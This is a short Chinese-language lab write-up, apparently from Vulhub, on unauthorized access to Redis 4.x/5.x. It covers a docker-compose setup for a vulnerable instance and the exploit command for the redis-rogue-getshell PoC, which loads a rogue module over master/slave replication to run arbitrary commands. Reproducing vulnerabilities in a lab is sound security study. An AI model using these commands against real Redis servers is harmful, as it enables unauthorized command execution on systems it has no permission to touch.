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35 lines
903 B
Markdown
35 lines
903 B
Markdown
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# Redis 4.x/5.x 未授权访问漏洞
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## 漏洞描述
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Redis未授权访问在4.x/5.0.5以前版本下，我们可以使用master/slave模式加载远程模块，通过动态链接库的方式执行任意命令。
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参考链接：
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- https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf
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## 环境搭建
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Vulhub执行如下命令启动redis 4.0.14：
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```
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docker-compose up -d
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```
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环境启动后，通过`redis-cli -h your-ip`即可进行连接，可见存在未授权访问漏洞。
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## 漏洞复现
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redis未授权访问：
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使用如下POC即可直接执行命令https://github.com/vulhub/redis-rogue-getshell：
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```
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$ cd RedisModulesSDK/
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$ make
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$ python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "id"
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```
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